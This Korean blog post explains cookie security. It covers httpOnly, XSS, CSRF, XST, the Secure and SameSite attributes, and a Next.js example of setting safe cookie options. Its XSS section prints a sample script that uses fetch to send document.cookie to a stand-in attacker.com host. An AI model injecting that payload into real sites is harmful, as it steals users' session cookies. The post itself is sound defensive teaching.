쿠키 보안, 얼마나 알고 계신가요?
웹 개발을 하면서 쿠키를 사용한 경험은 많지만, 보안에 대해 깊이 고민해 본 적이 있으신가요? 사실 저는 단순히 값을 저장하고 읽는 용도로만 사용했지만, 사이드 프로젝트를 통해 직접 로그인 기능을 구현하면서 쿠키의 보안 문제를 고려해야 한다는 것을 깨닫게 되었습니다.
로그인 처리 시 access token을 어디에 저장해야 할지 고민하면서, "클라이언트에서 대충 저장해도 괜찮지 않을까?"라는 생각이 들었지만, 보안 관점에서는 그렇지 않았습니다. 특히, 서버에서 httpOnly 속성을 설정하여 쿠키를 관리하는 방식에 대한 피드백을 받고 나서, 이 속성이 정확히 무엇이고, 왜 필요한지 더 깊이 파고들게 되었습니다.
httpOnly란?
httpOnly 속성은 서버에서 쿠키를 설정할 때 지정하는 속성으로, 이를 적용하면 클라이언트측 JavaScript에서 해당 쿠키에 접근할 수 없습니다. 즉, XSS(크로스 사이트 스크립팅) 공격을 통해 쿠키가 탈취되는 것을 방지하는 데 중요한 역할을 합니다. 하지만, 안타깝게도 클라이언트에서 httpOnly 쿠키를 직접 설정할 수는 없습니다. 왜냐하면, 만약 JavaScript로 쿠키를 설정하면서 httpOnly를 지정할 수 있다면, 악성 스크립트가 이를 조작하거나 우회하여 쿠키에 접근할 가능성이 생기기 때문입니다. 따라서 httpOnly는 오직 서버에서만 설정할 수 있는 속성입니다.
httpOnly 속성은 왜 등장했을까?
httpOnly 속성은 2002년, 마이크로소프트 엔지니어들이 처음 제안한 보안 기능입니다. 그 배경에는 XSS 공격을 통한 쿠키 탈취 문제가 있었습니다. 그러면 이 XSS 공격은 정확히 무엇을 뜻하는 것일까요?
XSS 공격이란?
XSS(크로스 사이트 스크립팅) 공격은 악의적인 사용자가 웹사이트의 취약점을 이용하여 악성 스크립트를 삽입하는 공격 방식입니다. 예를 들어, 공격자가 다음과 같은 스크립트를 삽입한다고 가정해 보겠습니다.
<script>
fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>
이 코드가 실행되면, 사용자의 쿠키 값이 공격자의 서버로 전송됩니다. 만약 httpOnly가 적용되지 않았다면, 중요한 인증 정보가 그대로 탈취될 수 있습니다. 이러한 보안 문제를 해결하기 위해 httpOnly 속성이 도입되었으며, 현재는 대부분의 웹 브라우저가 이를 지원하고 있습니다.
httpOnly만 설정하면 안전할까?
답은 아닙니다. httpOnly는 XSS 공격을 통한 쿠키 접근을 막아줄 뿐이며, 다른 유형의 공격까지 완벽하게 차단하지는 못합니다. 그럼 다른 유형의 공격은 어떠한 것들이 있을까요? 간략하게 2가지 추가 예시만 살펴보겠습니다.
- CSRF(Cross-Site Request Forgery) 공격
httpOnly 쿠키는 클라이언트의 JavaScript에서 접근할 수 없지만, 브라우저는 자동으로 해당 쿠키를 요청에 포함합니다. 따라서 공격자가 사용자의 브라우저를 속여, 의도하지 않은 요청을 보내도록 유도할 수 있습니다. 이에 대한 해결책은 CSRF 토큰을 사용하여 요청의 정당성을 검증하는 것입니다.
- XST(Cross-Site Tracing) 공격
일부 서버에서는 HTTP TRACE 메서드를 통해 클라이언트가 자신의 요청을 다시 확인할 수 있습니다. 이를 악용하면 httpOnly 쿠키도 공격자가 접근할 수 있습니다. 이에 대한 해결책은 서버에서 TRACE 메서드를 비활성화하는 것입니다.
쿠키의 추가적인 보안 속성들
위와 같이 쿠키는 보안에 취약합니다. 이를 강화하려면 httpOnly 외에도 추가적인 속성을 설정해야 합니다.
1. Secure
- Secure 속성을 추가하면 HTTPS 환경에서만 쿠키가 전송됩니다.
- 즉, HTTP에서 쿠키가 노출되지 않도록 방지할 수 있습니다.
Set-Cookie: session_id=abcdef; Secure
2. SameSite
- SameSite 속성은 쿠키가 외부 사이트에서 요청될 때 전송 여부를 제어합니다.
- CSRF 공격을 방지하는 데 유용합니다.
- Lax 또는 Strict 값을 설정하여 적용할 수 있습니다.
- Strict: 가장 강력한 보안 설정. 동일 사이트 요청에서만 쿠키 전송. 크로스사이트 이동 시 로그인 유지 불가.
- Lax: 기본값. GET 요청(링크 클릭)에서는 쿠키 전송, 하지만 POST 요청 등에서는 차단. 보안과 편의성의 균형.
- None: 모든 크로스사이트 요청에서 쿠키 전송 가능, 하지만 반드시 Secure(HTTPS)와 함께 사용.
Set-Cookie: session_id=abcdef; SameSite=Strict
코드 예시
쿠키에 보안 속성을 적용하는 방법은, 어떤 언어를 쓰는가에 따라 다를 수 있습니다.
제 경우에는 Next.JS 15버전을 사용하고 있고 서버리스로 작업하다 보니 api route.ts에서 다음과 같이 세팅을 하였습니다.
import { cookies } from 'next/headers';
const cookieStore = await cookies();
cookieStore.set(AUTH_ACCESS_TOKEN, accessToken, {
path: '/',
httpOnly: true,
secure: true,
sameSite: 'Lax',
maxAge: COOKIE_EXPIRE_IN_1_WEEK * 24 * 60 * 60,
});
쿠키만으로는 완벽한 보안을 보장할 수 없다
쿠키는 결국 클라이언트(브라우저)에 저장되는 데이터이므로, 아무리 많은 보안 속성을 적용해도 사용자가 직접 개발자 도구를 통해 조작할 수 있습니다.
그러면 어떻게 해야 할까?
- 중요한 정보는 쿠키에 직접 저장하지 않기
- 예를 들어, 쿠키에는 세션 ID만 저장하고, 실제 인증 데이터는 서버에서 관리하는 것이 안전합니다.
- 또는, httpOnly 쿠키에 저장된 정보를 서버에서 검증하는 로직을 추가해야 합니다. - JWT(JSON Web Token)와 같은 인증 방식 고려하기
- JWT를 쿠키 대신 Authorization 헤더에 포함하여 사용하는 방법도 있습니다.
- 단, JWT도 만능이 아니므로, 상황에 맞게 선택해야 합니다.
결론: 보안에는 "은탄환"이 없다
웹 쿠키의 보안에는 완벽한 해결책(은탄환, Silver Bullet)이 없습니다. 하지만, 다음과 같은 보안 원칙을 지키면 위험을 줄일 수 있습니다.
- httpOnly를 설정하여 XSS 공격을 방어하기
- Secure 속성을 사용하여 HTTPS에서만 쿠키 전송
- SameSite 설정을 통해 CSRF 공격 차단
- 중요 정보는 쿠키가 아닌 서버에서 관리
- 추가적인 보안 정책 적용 (예: CSRF 토큰, Content Security Policy 등)
쿠키를 사용할 때 보안 속성을 신경 쓰지 않으면 심각한 보안 취약점이 발생할 수 있습니다.
따라서, 언제나 "보안이 우선"이라는 생각을 가지고 개발하는 것이 중요하겠습니다.
추가로 더 궁금하신 점이나, 잘못된 점 혹은 보완이 필요한 내용이 있다면 댓글로 의견을 주시면 감사하겠습니다.
참고
https://ko.javascript.info/cookie
https://webhack.dynu.net/?idx=20161111.001&print=friendly&utm_source=chatgpt.com
'About IT > 웹 개발' 카테고리의 다른 글
콘스트처럼? 콘스트 단언! as const (0) | 2025.03.16 |
---|---|
Biome에 대해 아세요? (0) | 2025.02.28 |
JS로 DOM 꾸미기: 스타일 적용의 6가지 방법 (1) | 2025.01.19 |
알고 쓰는 서브 픽셀: 웹 개발자와 디자이너의 협업을 위한 필수 지식 (1) | 2024.12.22 |
Next.js 배포 실패? Vercel에서 Sentry CLI 오류 해결하기 (0) | 2024.11.24 |